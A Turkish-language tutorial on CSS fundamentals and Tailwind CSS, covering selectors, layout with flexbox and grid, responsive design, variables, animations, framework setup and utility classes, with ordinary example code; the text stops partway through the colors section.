CSS & Tailwind CSS Rehberi — Temellerden İleri Seviyeye
Modern web geliştirme için CSS ve Tailwind CSS rehberi — layout, responsive design, animasyonlar ve component örnekleri.
📌 Ne Zaman Kullanilir?
- ✅ Her web projesi — stil ve layout için zorunlu
- ⚠️ Büyük projelerde CSS yönetimi karmasiklasabilir (Tailwind/Modules çözüm)
- ❌ —
Önerilen Kullanım: Tailwind CSS (utility-first) + modern CSS Alternatifler: Bootstrap, Styled Components (CSS-in-JS), Sass/SCSS
1) CSS Temelleri
Selectors
CSS selector'leri HTML elementlerini hedeflemek için kullanilir.
Element Selector
/* Tum <p> elementlerini hedefler */
p {
color: #333;
line-height: 1.6;
}
/* Tum <h1> elementlerini hedefler */
h1 {
font-size: 2rem;
font-weight: 700;
}Class Selector
/* .card class'ina sahip tum elementler */
.card {
background: white;
border-radius: 8px;
padding: 16px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
/* Birden fazla class */
.card.featured {
border: 2px solid #3b82f6;
}ID Selector
/* #header id'sine sahip element (sayfada tekil olmali) */
#header {
position: sticky;
top: 0;
z-index: 100;
}Attribute Selector
/* type="email" olan input'lar */
input[type="email"] {
border: 1px solid #d1d5db;
padding: 8px 12px;
}
/* href'i https ile baslayan linkler */
a[href^="https"] {
color: green;
}
/* href'i .pdf ile biten linkler */
a[href$=".pdf"] {
color: red;
}
/* class icinde "btn" gecen elementler */
[class*="btn"] {
cursor: pointer;
}Pseudo-class Selector
/* Fare uzerindeyken */
a:hover {
color: #2563eb;
text-decoration: underline;
}
/* Tiklandiginda / focus oldugunda */
input:focus {
outline: 2px solid #3b82f6;
outline-offset: 2px;
}
/* Ilk cocuk element */
li:first-child {
font-weight: bold;
}
/* Son cocuk element */
li:last-child {
border-bottom: none;
}
/* Cift satirlar */
tr:nth-child(even) {
background: #f9fafb;
}
/* Tek satirlar */
tr:nth-child(odd) {
background: white;
}
/* Disabled input */
input:disabled {
opacity: 0.5;
cursor: not-allowed;
}
/* Bos element */
p:empty {
display: none;
}
/* Olumsuzlama — .special olmayan tum p'ler */
p:not(.special) {
color: #6b7280;
}Pseudo-element Selector
/* Elementin oncesine icerik ekle */
.required::before {
content: "* ";
color: red;
}
/* Elementin sonrasina icerik ekle */
.external-link::after {
content: " ↗";
font-size: 0.8em;
}
/* Ilk satiri stillendir */
p::first-line {
font-weight: bold;
}
/* Ilk harfi stillendir (drop cap) */
p::first-letter {
font-size: 2em;
float: left;
margin-right: 4px;
}
/* Secili metni stillendir */
::selection {
background: #3b82f6;
color: white;
}
/* Placeholder stili */
input::placeholder {
color: #9ca3af;
font-style: italic;
}Combinator Selector
/* Descendant — nav icindeki tum a'lar (her seviye) */
nav a {
text-decoration: none;
}
/* Child — sadece direkt cocuk li'ler */
ul > li {
list-style: disc;
}
/* Adjacent sibling — h2'den hemen sonraki p */
h2 + p {
margin-top: 0;
font-size: 1.1rem;
}
/* General sibling — h2'den sonraki tum p'ler */
h2 ~ p {
color: #374151;
}Specificity (Ozgunluk)
CSS'de hangi kuralın gecerli olacagini belirleyen oncelik sistemi.
Hesaplama sirasi (yuksekten dusuge):
| Oncelik | Tur | Örnek | Puan |
|---|---|---|---|
| 1 | !important | color: red !important | Her seyi ezer |
| 2 | Inline style | style="color: red" | 1,0,0,0 |
| 3 | ID selector | #header | 0,1,0,0 |
| 4 | Class, pseudo-class, attribute | .card, :hover, [type] | 0,0,1,0 |
| 5 | Element, pseudo-element | div, ::before | 0,0,0,1 |
| 6 | Universal | * | 0,0,0,0 |
/* Specificity ornekleri */
/* 0,0,0,1 */
p { color: black; }
/* 0,0,1,0 */
.text { color: blue; }
/* 0,0,1,1 */
p.text { color: green; }
/* 0,1,0,0 */
#main { color: red; }
/* 0,1,1,1 — ID + class + element */
#main p.text { color: purple; }
/* !important — kullanmaktan kacinin */
.text { color: orange !important; } /* Her seyi ezer (anti-pattern) */Altin kural: !important kullanmak yerine specificity'yi doğru yonetin. !important yalnizca 3rd-party CSS'i override etmeniz gerektiginde dusunun.
Box Model
Her HTML elementi bir "kutu" olarak render edilir.
+--------------------------------------------+
| margin |
| +--------------------------------------+ |
| | border | |
| | +--------------------------------+ | |
| | | padding | | |
| | | +--------------------------+ | | |
| | | | content | | | |
| | | | (width x height) | | | |
| | | +--------------------------+ | | |
| | +--------------------------------+ | |
| +--------------------------------------+ |
+--------------------------------------------+/* Varsayilan: content-box — width sadece content'i kapsar */
.box-content {
width: 300px;
padding: 20px;
border: 2px solid black;
/* Gercek genislik: 300 + 20*2 + 2*2 = 344px */
}
/* border-box — width padding ve border'i da kapsar */
.box-border {
box-sizing: border-box;
width: 300px;
padding: 20px;
border: 2px solid black;
/* Gercek genislik: 300px (content otomatik kuculur) */
}
/* Global reset — her projede kullanin */
*, *::before, *::after {
box-sizing: border-box;
}
/* Margin collapse — dikey margin'ler birlesir */
.paragraph-1 {
margin-bottom: 20px;
}
.paragraph-2 {
margin-top: 30px;
}
/* Aralarindaki bosluk 30px olur, 50px degil (buyuk olan kazanir) */Display
/* block — tam genislik kaplar, alt satira gecer */
div { display: block; }
/* inline — icerik kadar yer kaplar, width/height etkisiz */
span { display: inline; }
/* inline-block — inline gibi akar ama width/height alabilir */
.badge {
display: inline-block;
padding: 4px 8px;
background: #e5e7eb;
border-radius: 4px;
}
/* none — DOM'da var ama render edilmez */
.hidden { display: none; }
/* flex ve grid asagida detayli anlatilacak */
.flex-container { display: flex; }
.grid-container { display: grid; }Position
/* static (varsayilan) — normal akista */
.static {
position: static;
/* top/right/bottom/left etkisiz */
}
/* relative — normal konumuna gore kaydirilir */
.relative {
position: relative;
top: 10px; /* 10px asagi kayar */
left: 20px; /* 20px saga kayar */
/* Orijinal yeri bos kalir, diger elementler etkilenmez */
}
/* absolute — en yakin positioned ataya gore konumlanir */
.parent {
position: relative; /* Ata olarak referans noktasi */
}
.absolute {
position: absolute;
top: 0;
right: 0;
/* Parent'in sag ust kosesine yapisir */
}
/* fixed — viewport'a gore sabitlenir (scroll ile hareket etmez) */
.fixed-header {
position: fixed;
top: 0;
left: 0;
right: 0;
z-index: 50;
background: white;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
/* sticky — scroll threshold'una kadar relative, sonra fixed */
.sticky-nav {
position: sticky;
top: 0; /* Bu noktaya geldiginde yapisir */
background: white;
z-index: 40;
}Pratik: Absolute ile overlay oluşturma:
.card {
position: relative;
}
.card-overlay {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.5);
display: flex;
align-items: center;
justify-content: center;
opacity: 0;
transition: opacity 0.3s;
}
.card:hover .card-overlay {
opacity: 1;
}2) Flexbox
Tek boyutlu layout sistemi — satir VEYA sutun yonunde elementleri hizalar.
Container Ozellikleri
| Özellik | Degerler | Açıklama |
|---|---|---|
display | flex, inline-flex | Flex container olusturur |
flex-direction | row, row-reverse, column, column-reverse | Ana eksen yonu |
justify-content | flex-start, flex-end, center, space-between, space-around, space-evenly | Ana eksende hizalama |
align-items | flex-start, flex-end, center, stretch, baseline | Capraz eksende hizalama |
flex-wrap | nowrap, wrap, wrap-reverse | Satirlara bolme |
gap | 10px, 1rem | Elementler arasi bosluk |
align-content | flex-start, flex-end, center, stretch, space-between, space-around | Çoklu satir hizalama |
.flex-container {
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 16px;
}Item Ozellikleri
| Özellik | Varsayilan | Açıklama |
|---|---|---|
flex-grow | 0 | Bos alani paylasma orani |
flex-shrink | 1 | Kuculme orani |
flex-basis | auto | Baslangic boyutu |
flex | 0 1 auto | Shorthand (grow shrink basis) |
align-self | auto | Kendine ozel capraz hizalama |
order | 0 | Gosterim sirasi |
/* flex shorthand ornekleri */
.item-fixed { flex: 0 0 200px; } /* Sabit 200px, buyumez kuculemez */
.item-grow { flex: 1; } /* Kalan alani doldurur (1 0 0) */
.item-equal { flex: 1 1 0; } /* Esit dagilim */
.item-double { flex: 2; } /* Diger flex:1'lerin 2 kati yer kaplar */Pratik Layout Ornekleri
Navbar (Logo Sol, Menu Sag)
.navbar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 0 24px;
height: 64px;
background: white;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}
.navbar-logo {
font-size: 1.5rem;
font-weight: 700;
color: #1f2937;
}
.navbar-menu {
display: flex;
gap: 24px;
list-style: none;
margin: 0;
padding: 0;
}
.navbar-menu a {
text-decoration: none;
color: #4b5563;
font-weight: 500;
transition: color 0.2s;
}
.navbar-menu a:hover {
color: #3b82f6;
}<nav class="navbar">
<div class="navbar-logo">Logo</div>
<ul class="navbar-menu">
<li><a href="#">Anasayfa</a></li>
<li><a href="#">Hakkinda</a></li>
<li><a href="#">Iletisim</a></li>
</ul>
</nav>Card Grid (Wrap ile)
.card-grid {
display: flex;
flex-wrap: wrap;
gap: 20px;
}
.card {
flex: 1 1 300px; /* Minimum 300px, esnek buyume */
background: white;
border-radius: 12px;
padding: 24px;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}Centering (Yatay ve Dikey)
/* Yontem 1: Flex ile tam ortalama */
.center-flex {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
/* Yontem 2: place-items shorthand (Grid ile daha kisa) */
.center-grid {
display: grid;
place-items: center;
min-height: 100vh;
}
/* Yontem 3: margin auto (flex item icinde) */
.flex-parent {
display: flex;
min-height: 100vh;
}
.centered-child {
margin: auto;
}Footer Bottom (Sticky Footer)
/* Footer her zaman sayfanin en altinda */
body {
margin: 0;
min-height: 100vh;
display: flex;
flex-direction: column;
}
main {
flex: 1; /* Kalan tum alani doldurur */
}
footer {
padding: 24px;
background: #1f2937;
color: white;
}<body>
<header>Header</header>
<main>Icerik — az bile olsa footer altta kalir</main>
<footer>Footer</footer>
</body>3) CSS Grid
Iki boyutlu layout sistemi — satirlar VE sutunlar ayni anda kontrol edilir.
Container Ozellikleri
.grid-container {
display: grid;
/* Sutun tanimlama */
grid-template-columns: 200px 1fr 1fr; /* 3 sutun */
grid-template-columns: repeat(3, 1fr); /* 3 esit sutun */
grid-template-columns: 250px 1fr; /* Sidebar + content */
/* Satir tanimlama */
grid-template-rows: 60px 1fr auto; /* Header, content, footer */
/* Bosluk */
gap: 16px; /* Satir ve sutun boslugu */
row-gap: 20px; /* Sadece satir boslugu */
column-gap: 16px; /* Sadece sutun boslugu */
}grid-template-areas
.layout {
display: grid;
grid-template-columns: 250px 1fr;
grid-template-rows: 60px 1fr 40px;
grid-template-areas:
"header header"
"sidebar content"
"footer footer";
min-height: 100vh;
}
.header { grid-area: header; }
.sidebar { grid-area: sidebar; }
.content { grid-area: content; }
.footer { grid-area: footer; }Item Ozellikleri
/* grid-column: baslangic / bitis */
.wide-item {
grid-column: 1 / 3; /* 1. sutundan 3. cizgiye kadar (2 sutun kaplar) */
}
.full-width {
grid-column: 1 / -1; /* Tum sutunlari kaplar */
}
/* grid-row: baslangic / bitis */
.tall-item {
grid-row: 1 / 3; /* 2 satir kaplar */
}
/* span kullanimi */
.span-two {
grid-column: span 2; /* 2 sutun kaplar (baslangic noktasi otomatik) */
grid-row: span 3; /* 3 satir kaplar */
}auto-fill vs auto-fit
/* auto-fill: Mumkun oldugu kadar sutun olusturur, bos olanlar yer kaplar */
.grid-auto-fill {
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
}
/* auto-fit: Mumkun oldugu kadar sutun olusturur, bos olanlar COLLAPSE olur */
.grid-auto-fit {
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
}
/* Fark:
- 3 item, genis ekran:
- auto-fill: [item] [item] [item] [bos] [bos]
- auto-fit: [ item ] [ item ] [ item ] (genisleme olur)
*/repeat(), minmax(), fr unit
/* fr (fraction) — kalan alani oranla paylasirir */
.fr-example {
grid-template-columns: 1fr 2fr 1fr;
/* 1. sutun: %25, 2. sutun: %50, 3. sutun: %25 */
}
/* minmax — minimum ve maksimum boyut */
.minmax-example {
grid-template-columns: minmax(200px, 300px) 1fr;
/* 1. sutun: 200-300px arasi, 2. sutun: kalan */
}
/* repeat — tekrarlama */
.repeat-example {
grid-template-columns: repeat(4, 1fr); /* 4 esit sutun */
grid-template-columns: repeat(3, 100px 200px); /* 100 200 100 200 100 200 */
}Pratik Layout Ornekleri
Dashboard Layout (Sidebar + Header + Content)
.dashboard {
display: grid;
grid-template-columns: 260px 1fr;
grid-template-rows: 64px 1fr;
grid-template-areas:
"sidebar header"
"sidebar content";
min-height: 100vh;
}
.dashboard-sidebar {
grid-area: sidebar;
background: #1e293b;
color: white;
padding: 20px;
}
.dashboard-header {
grid-area: header;
background: white;
border-bottom: 1px solid #e5e7eb;
display: flex;
align-items: center;
padding: 0 24px;
}
.dashboard-content {
grid-area: content;
padding: 24px;
background: #f8fafc;
overflow-y: auto;
}Holy Grail Layout
.holy-grail {
display: grid;
grid-template-columns: 200px 1fr 200px;
grid-template-rows: auto 1fr auto;
grid-template-areas:
"header header header"
"left main right"
"footer footer footer";
min-height: 100vh;
gap: 0;
}
.hg-header { grid-area: header; background: #1f2937; color: white; padding: 16px; }
.hg-left { grid-area: left; background: #f3f4f6; padding: 16px; }
.hg-main { grid-area: main; padding: 24px; }
.hg-right { grid-area: right; background: #f3f4f6; padding: 16px; }
.hg-footer { grid-area: footer; background: #1f2937; color: white; padding: 16px; }
/* Mobilde tek sutun */
@media (max-width: 768px) {
.holy-grail {
grid-template-columns: 1fr;
grid-template-areas:
"header"
"main"
"left"
"right"
"footer";
}
}Responsive Card Grid (auto-fill + minmax)
.responsive-cards {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 24px;
padding: 24px;
}
.card {
background: white;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
transition: box-shadow 0.2s, transform 0.2s;
}
.card:hover {
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15);
transform: translateY(-2px);
}
.card-image {
width: 100%;
height: 200px;
object-fit: cover;
}
.card-body {
padding: 20px;
}4) Responsive Design
Media Queries
/* min-width (Mobile-first yaklasim — onerilen) */
/* Temel stiller mobil icin */
.container {
padding: 16px;
}
/* 640px ve ustu (tablet) */
@media (min-width: 640px) {
.container {
padding: 24px;
max-width: 640px;
margin: 0 auto;
}
}
/* 1024px ve ustu (desktop) */
@media (min-width: 1024px) {
.container {
max-width: 1024px;
padding: 32px;
}
}
/* max-width (Desktop-first yaklasim) */
@media (max-width: 768px) {
.sidebar {
display: none;
}
}
/* Kombine: sadece tablet arasi */
@media (min-width: 640px) and (max-width: 1023px) {
.tablet-only {
display: block;
}
}
/* Orientation */
@media (orientation: landscape) {
.hero {
min-height: 60vh;
}
}
/* Print */
@media print {
.no-print {
display: none;
}
body {
font-size: 12pt;
color: black;
}
}Mobile-First Yaklasim
Neden mobile-first?
- Mobil kullanicilar cogunlukta
- Performans: mobil için gereksiz CSS yuklenmez
- Daha temiz ve surekli genislenen yaklasim
/* DOGRU: Mobile-first */
.grid {
display: grid;
grid-template-columns: 1fr; /* Mobil: tek sutun */
gap: 16px;
}
@media (min-width: 640px) {
.grid {
grid-template-columns: repeat(2, 1fr); /* Tablet: 2 sutun */
}
}
@media (min-width: 1024px) {
.grid {
grid-template-columns: repeat(3, 1fr); /* Desktop: 3 sutun */
gap: 24px;
}
}
/* YANLIS: Desktop-first (cok fazla override gerekir) */
.grid-wrong {
grid-template-columns: repeat(3, 1fr);
}
@media (max-width: 1023px) {
.grid-wrong { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 639px) {
.grid-wrong { grid-template-columns: 1fr; }
}Breakpoint Stratejisi
| Breakpoint | Genislik | Hedef Cihaz | Tailwind Prefix |
|---|---|---|---|
| Varsayilan | 0px+ | Mobil telefon | (prefix yok) |
sm | 640px+ | Büyük telefon / küçük tablet | sm: |
md | 768px+ | Tablet | md: |
lg | 1024px+ | Laptop / küçük desktop | lg: |
xl | 1280px+ | Desktop | xl: |
2xl | 1536px+ | Genis ekran | 2xl: |
Responsive Units
/* % — parent'a gore oransal */
.half-width {
width: 50%;
}
/* vw/vh — viewport'a gore */
.hero {
height: 100vh; /* Tam ekran yukseklik */
width: 100vw; /* Tam ekran genislik */
}
/* rem — root font-size'a gore (genelde 16px) */
.text {
font-size: 1rem; /* 16px */
padding: 1.5rem; /* 24px */
margin-bottom: 2rem; /* 32px */
}
/* em — parent font-size'a gore */
.parent {
font-size: 18px;
}
.child {
padding: 1em; /* 18px */
margin: 0.5em; /* 9px */
}
/* clamp() — minimum, tercih edilen, maksimum */
.responsive-text {
/* En az 1rem, tercihen 2.5vw, en fazla 2rem */
font-size: clamp(1rem, 2.5vw, 2rem);
}
.responsive-container {
/* En az 300px, tercihen %90, en fazla 1200px */
width: clamp(300px, 90%, 1200px);
margin: 0 auto;
}
/* min() ve max() */
.sidebar {
width: min(300px, 30%); /* 300px ve %30'un kucuk olani */
}
.main-content {
width: max(600px, 60%); /* 600px ve %60'in buyuk olani */
}Container Queries
Elementin viewport yerine parent container boyutuna gore stillendirilmesi.
/* Container tanimlama */
.card-wrapper {
container-type: inline-size;
container-name: card;
}
/* Container query */
@container card (min-width: 400px) {
.card-content {
display: flex;
gap: 16px;
}
.card-image {
width: 40%;
}
}
@container card (min-width: 600px) {
.card-title {
font-size: 1.5rem;
}
}
/* Shorthand */
.wrapper {
container: sidebar / inline-size;
}5) CSS Variables (Custom Properties)
Tanimlama ve Kullanım
/* :root'ta global degiskenler tanimla */
:root {
/* Renkler */
--color-primary: #3b82f6;
--color-primary-dark: #2563eb;
--color-secondary: #8b5cf6;
--color-success: #10b981;
--color-warning: #f59e0b;
--color-danger: #ef4444;
--color-gray-50: #f9fafb;
--color-gray-100: #f3f4f6;
--color-gray-200: #e5e7eb;
--color-gray-500: #6b7280;
--color-gray-700: #374151;
--color-gray-900: #111827;
/* Tipografi */
--font-sans: 'Inter', system-ui, -apple-system, sans-serif;
--font-mono: 'JetBrains Mono', monospace;
/* Spacing */
--space-xs: 4px;
--space-sm: 8px;
--space-md: 16px;
--space-lg: 24px;
--space-xl: 32px;
--space-2xl: 48px;
/* Border */
--radius-sm: 4px;
--radius-md: 8px;
--radius-lg: 12px;
--radius-full: 9999px;
/* Shadow */
--shadow-sm: 0 1px 2px rgba(0, 0, 0, 0.05);
--shadow-md: 0 4px 6px rgba(0, 0, 0, 0.1);
--shadow-lg: 0 10px 25px rgba(0, 0, 0, 0.15);
/* Transition */
--transition-fast: 150ms ease;
--transition-normal: 300ms ease;
}
/* Kullanim */
.button {
background: var(--color-primary);
color: white;
padding: var(--space-sm) var(--space-md);
border-radius: var(--radius-md);
font-family: var(--font-sans);
transition: background var(--transition-fast);
border: none;
cursor: pointer;
}
.button:hover {
background: var(--color-primary-dark);
}
/* Fallback degeri */
.text {
color: var(--color-custom, #333); /* Tanimli degilse #333 kullanilir */
}Tema Sistemi (Dark / Light Mode)
/* Light mode (varsayilan) */
:root {
--bg-primary: #ffffff;
--bg-secondary: #f9fafb;
--text-primary: #111827;
--text-secondary: #6b7280;
--border-color: #e5e7eb;
--card-bg: #ffffff;
--card-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}
/* Dark mode — media query ile */
@media (prefers-color-scheme: dark) {
:root {
--bg-primary: #111827;
--bg-secondary: #1f2937;
--text-primary: #f9fafb;
--text-secondary: #9ca3af;
--border-color: #374151;
--card-bg: #1f2937;
--card-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);
}
}
/* Dark mode — class-based toggle (onerilen) */
.dark {
--bg-primary: #111827;
--bg-secondary: #1f2937;
--text-primary: #f9fafb;
--text-secondary: #9ca3af;
--border-color: #374151;
--card-bg: #1f2937;
--card-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);
}
/* Uygulama */
body {
background: var(--bg-primary);
color: var(--text-primary);
transition: background 0.3s, color 0.3s;
}
.card {
background: var(--card-bg);
border: 1px solid var(--border-color);
box-shadow: var(--card-shadow);
border-radius: var(--radius-lg);
padding: var(--space-lg);
}
.text-muted {
color: var(--text-secondary);
}JavaScript ile toggle:
// Dark mode toggle
const toggleBtn = document.getElementById('theme-toggle');
toggleBtn.addEventListener('click', () => {
document.documentElement.classList.toggle('dark');
// Tercihi localStorage'a kaydet
const isDark = document.documentElement.classList.contains('dark');
localStorage.setItem('theme', isDark ? 'dark' : 'light');
});
// Sayfa yuklenirken tercihi uygula
const savedTheme = localStorage.getItem('theme');
if (savedTheme === 'dark' ||
(!savedTheme && window.matchMedia('(prefers-color-scheme: dark)').matches)) {
document.documentElement.classList.add('dark');
}6) Animations & Transitions
Transition
/* Temel transition */
.button {
background: #3b82f6;
color: white;
padding: 8px 16px;
border-radius: 8px;
transition: all 0.3s ease;
}
.button:hover {
background: #2563eb;
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(59, 130, 246, 0.4);
}
/* Birden fazla property */
.card {
transition: transform 0.2s ease, box-shadow 0.2s ease;
}
.card:hover {
transform: translateY(-4px);
box-shadow: 0 12px 24px rgba(0, 0, 0, 0.15);
}
/* Tekil tanimlama */
.element {
transition-property: background, color, transform;
transition-duration: 0.3s, 0.3s, 0.2s;
transition-timing-function: ease, ease, ease-out;
transition-delay: 0s, 0s, 0.1s;
}Timing Functions
.ease { transition-timing-function: ease; } /* Yavas basla, hizlan, yavas bitir */
.ease-in { transition-timing-function: ease-in; } /* Yavas basla */
.ease-out { transition-timing-function: ease-out; } /* Yavas bitir */
.ease-in-out { transition-timing-function: ease-in-out; } /* Yavas basla ve bitir */
.linear { transition-timing-function: linear; } /* Sabit hiz */
/* Cubic bezier — ozel timing */
.bounce {
transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55);
}
.smooth {
transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1);
}@keyframes ve animation
/* Fade in animasyonu */
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.fade-in {
animation: fadeIn 0.5s ease forwards;
}
/* Spin animasyonu (loading) */
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.spinner {
width: 24px;
height: 24px;
border: 3px solid #e5e7eb;
border-top-color: #3b82f6;
border-radius: 50%;
animation: spin 0.8s linear infinite;
}
/* Pulse animasyonu */
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
.skeleton {
background: #e5e7eb;
animation: pulse 2s ease-in-out infinite;
border-radius: 4px;
}
/* Slide in animasyonu */
@keyframes slideInRight {
from {
transform: translateX(100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
.slide-in {
animation: slideInRight 0.4s ease-out;
}
/* Bounce animasyonu */
@keyframes bounce {
0%, 20%, 50%, 80%, 100% { transform: translateY(0); }
40% { transform: translateY(-20px); }
60% { transform: translateY(-10px); }
}
.bounce {
animation: bounce 1s ease infinite;
}
/* Animation shorthand */
.animated {
animation: fadeIn 0.5s ease 0.2s 1 normal forwards;
/* name dur timing delay count dir fill */
}
/* Animation ozellikleri ayri ayri */
.detailed-animation {
animation-name: fadeIn;
animation-duration: 0.5s;
animation-timing-function: ease;
animation-delay: 0.2s;
animation-iteration-count: 1; /* infinite, 3, vb. */
animation-direction: normal; /* reverse, alternate */
animation-fill-mode: forwards; /* backwards, both */
animation-play-state: running; /* paused */
}Transform
/* translate — konum kaydirma */
.translate {
transform: translateX(20px); /* Yatay */
transform: translateY(-10px); /* Dikey */
transform: translate(20px, -10px); /* Her iki eksen */
}
/* rotate — dondurme */
.rotate {
transform: rotate(45deg); /* Saat yonu */
transform: rotate(-90deg); /* Saat yonunun tersi */
}
/* scale — olcekleme */
.scale {
transform: scale(1.1); /* %110 buyutme */
transform: scaleX(0.5); /* Yatay %50 */
transform: scale(2, 0.5); /* X: 2x, Y: 0.5x */
}
/* skew — egme */
.skew {
transform: skewX(10deg);
transform: skewY(-5deg);
transform: skew(10deg, -5deg);
}
/* Kombine transform */
.combined {
transform: translateX(20px) rotate(45deg) scale(1.2);
/* Sira onemli — sagdan sola uygulanir */
}
/* transform-origin */
.origin {
transform-origin: center center; /* Varsayilan */
transform-origin: top left; /* Sol ust koseden */
transform-origin: 50% 100%; /* Alt ortadan */
}Performans
/* GPU accelerated — performansli (sadece composite layer) */
.performant {
transform: translateZ(0); /* GPU layer olusturur */
will-change: transform; /* Tarayiciya ipucu */
}
/* IYI — sadece transform ve opacity animate edin */
.good-animation {
transition: transform 0.3s, opacity 0.3s;
}
/* KOTU — layout/paint trigger'lari (yavas) */
.bad-animation {
transition: width 0.3s, height 0.3s, top 0.3s, left 0.3s;
/* Bu ozellikler layout recalculation tetikler */
}
/* will-change — dikkatli kullanin */
.will-animate {
will-change: transform, opacity;
/* Animasyon bitince kaldirin — gereksiz GPU bellek kullanimi */
}
/* contain — rendering optimizasyonu */
.isolated {
contain: layout style paint;
/* Bu elementin degisiklikleri diger elementleri etkilemez */
}
/* content-visibility — offscreen elementleri render etme */
.lazy-section {
content-visibility: auto;
contain-intrinsic-size: 0 500px; /* Tahmini boyut */
}7) Tailwind CSS Kurulum
Vite ile Kurulum
# Proje olustur
npm create vite@latest my-project -- --template react
cd my-project
# Tailwind ve bagimliliklar
npm install -D tailwindcss @tailwindcss/vite
# veya PostCSS ile
npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -pvite.config.js (Vite plugin ile):
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
import tailwindcss from '@tailwindcss/vite'
export default defineConfig({
plugins: [
react(),
tailwindcss(),
],
})postcss.config.js (PostCSS ile):
export default {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
}tailwind.config.js:
/** @type {import('tailwindcss').Config} */
export default {
content: [
"./index.html",
"./src/**/*.{js,ts,jsx,tsx}",
],
theme: {
extend: {},
},
plugins: [],
}src/index.css:
@tailwind base;
@tailwind components;
@tailwind utilities;Next.js ile Kurulum
# Next.js zaten Tailwind destegi ile gelir
npx create-next-app@latest my-app
# "Would you like to use Tailwind CSS?" sorusuna Yes deyin
# Manuel kurulum
npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -ptailwind.config.js:
/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
'./pages/**/*.{js,ts,jsx,tsx,mdx}',
'./components/**/*.{js,ts,jsx,tsx,mdx}',
'./app/**/*.{js,ts,jsx,tsx,mdx}',
],
theme: {
extend: {},
},
plugins: [],
}app/globals.css:
@tailwind base;
@tailwind components;
@tailwind utilities;Vue / Nuxt ile Kurulum
# Vue + Vite
npm create vite@latest my-vue-app -- --template vue
cd my-vue-app
npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -ptailwind.config.js:
/** @type {import('tailwindcss').Config} */
export default {
content: [
"./index.html",
"./src/**/*.{vue,js,ts,jsx,tsx}",
],
theme: {
extend: {},
},
plugins: [],
}# Nuxt 3
npx nuxi init my-nuxt-app
cd my-nuxt-app
npm install -D @nuxtjs/tailwindcssnuxt.config.ts:
export default defineNuxtConfig({
modules: ['@nuxtjs/tailwindcss'],
})tailwind.config.js Yapisi
/** @type {import('tailwindcss').Config} */
export default {
// Hangi dosyalarda Tailwind class'lari taranacak
content: [
"./index.html",
"./src/**/*.{js,ts,jsx,tsx,vue}",
],
// Dark mode stratejisi
darkMode: 'class', // 'media' veya 'class'
// Tema ayarlari
theme: {
// Mevcut degerleri tamamen degistirmek icin
screens: {
sm: '640px',
md: '768px',
lg: '1024px',
xl: '1280px',
'2xl': '1536px',
},
// Mevcut degerlere eklemek icin
extend: {
colors: {
brand: {
50: '#eff6ff',
500: '#3b82f6',
900: '#1e3a8a',
},
},
fontFamily: {
sans: ['Inter', 'system-ui', 'sans-serif'],
},
spacing: {
'128': '32rem',
},
borderRadius: {
'4xl': '2rem',
},
},
},
// Eklentiler
plugins: [
require('@tailwindcss/forms'),
require('@tailwindcss/typography'),
require('@tailwindcss/aspect-ratio'),
],
}8) Tailwind Temel Siniflar
Spacing
| Class | Deger | Piksel |
|---|---|---|
p-0 / m-0 | 0 | 0px |
p-px / m-px | 1px | 1px |
p-0.5 / m-0.5 | 0.125rem | 2px |
p-1 / m-1 | 0.25rem | 4px |
p-2 / m-2 | 0.5rem | 8px |
p-3 / m-3 | 0.75rem | 12px |
p-4 / m-4 | 1rem | 16px |
p-5 / m-5 | 1.25rem | 20px |
p-6 / m-6 | 1.5rem | 24px |
p-8 / m-8 | 2rem | 32px |
p-10 / m-10 | 2.5rem | 40px |
p-12 / m-12 | 3rem | 48px |
p-16 / m-16 | 4rem | 64px |
p-20 / m-20 | 5rem | 80px |
p-24 / m-24 | 6rem | 96px |
<!-- Padding -->
<div class="p-4">Tum yonlere 16px padding</div>
<div class="px-6 py-3">Yatay 24px, dikey 12px</div>
<div class="pt-8 pb-4">Ust 32px, alt 16px</div>
<div class="pl-4">Sol 16px</div>
<!-- Margin -->
<div class="m-4">Tum yonlere 16px margin</div>
<div class="mx-auto">Yatay ortalama (block element)</div>
<div class="mt-8 mb-4">Ust 32px, alt 16px</div>
<div class="ml-auto">Saga yasla (flex icinde)</div>
<!-- Negatif margin -->
<div class="-mt-4">Ust -16px margin</div>
<!-- Gap (flex/grid icin) -->
<div class="flex gap-4">Elementler arasi 16px</div>
<div class="grid gap-x-4 gap-y-8">Yatay 16px, dikey 32px</div>
<!-- Space between (alternatif) -->
<div class="flex flex-col space-y-4">
<div>Item 1</div>
<div>Item 2</div>
<div>Item 3</div>
</div>Colors
<!-- Text renkleri -->
<p class="text-gray-900">Koyu metin</p>
<p class="text-gray-500">Orta metin</p>
<p class="text-gray-400">Acik metin</p>
<p class="text-blue-600">Mavi metin</p>
